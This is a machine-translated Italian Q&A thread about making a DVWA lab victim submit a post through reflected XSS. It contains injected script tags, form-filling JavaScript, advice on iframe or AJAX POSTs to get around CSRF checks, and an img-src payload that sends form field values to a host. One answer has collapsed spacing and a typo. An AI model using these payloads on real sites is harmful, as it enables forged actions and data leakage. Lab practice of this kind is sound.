Come fare una vittima inviare un post tramite XSS?

2

In DVWA sto cercando di capire diversi metodi di attacco rispetto al solito scenario alert('XSS'); .

Utilizzo XSS riflettente per fornire un carico utile che consente all'utente che segue l'URL di inviare un post nella sezione XSS memorizzato nella stessa applicazione Web. Ecco il mio codice JS esterno

var pagech = document.getElementsByTagName('a')[11].click(); 
var name = document.getElementsByName("txtName")[0].value="helloworld"; 
var comment = document.getElementsByName("mtxMessage")[0].value="helloworld2";
var sub = document.getElementsByTagName('input')[1].click();

Questo codice passa fondamentalmente la pagina alla pagina xss memorizzata e inserisce alcuni valori, quindi invia il modulo, funziona all'interno della console firebug ma non quando lo eseguo utilizzando la vulnerabilità di xss riflessa di seguito.

<script src="http://172.16.150.172/dvwa/hackable/uploads/XSS.js"></script>

Invece la pagina degli utenti cambia ma il post non viene inviato. Come posso risolvere questo problema se è possibile?

    
posta user1949280 02.09.2016 - 13:56
fonte

3 risposte

2

C'è una grande differenza tra codice eseguito nella console degli sviluppatori passo dopo passo [!] e JavaScript che fa parte della pagina:
Tutti i JavaScript in esecuzione vengono interrotti quando tu vai lontano in un'altra pagina .

Ma perché dovresti preoccuparti di scrivere JavaScript per imitare un utente?

Se vuoi inviare una richiesta POST (ad esempio inviare qualcosa che assomiglia ad un utente che invia un modulo) usa un AJAX -POST-Richiesta come mostrato in questo risposta overflow dello stack

    
risposta data 02.09.2016 - 15:12
fonte
1

Se vuoi inviare il tuo POST dal sito web stesso (magari per eludere alcuni controlli CSRF), allora dovresti pensare a un modo intelligente per eseguire lo script mentre il modulo è visibile.

Ad esempio:

  • Carica un IFrame nella pagina vulnerabile XSS con l'URL del modulo, compilalo usando l'oggetto documento dell'Iframe, quindi inoltralo.
  • Fai una richiesta AJAX all'URL del modulo, leggi i parametri del modulo in JavaScript e poi fai un POST AJAX.

L'utilizzo di una navigazione di livello superiore con il tuo payload impedirà l'esecuzione di altri script, pertanto è necessario utilizzare oggetti DOM o JavaScript per archiviare il contenuto di altri elementi del sito che desideri manipolare.

    
risposta data 05.01.2017 - 00:34
fonte
0

Forse, potresti iniettare il tuo carico utile usando la richiesta HTTP GEt; potresti utilizzare un tag img .

<img src="http://172.16.150.172/dvwa/payload?txtName=helloworld&mtxMessage=helloworld2"/>

Oppuremodificailtuoscriptecrealoinmododinamico.

<script>varvalue1=document.getElementById("txtName").value;
var value2 = document.getElementById("mtxMessage").valued;
document.createElement("img").src="http://172.16.150.172/dvwa/payload?txtName="+value1+"&mtxMessage="+value2;
</script>

Spero che questa informazione ti aiuti.

Buona fortuna.

    
risposta data 04.09.2016 - 19:47
fonte

Leggi altre domande sui tag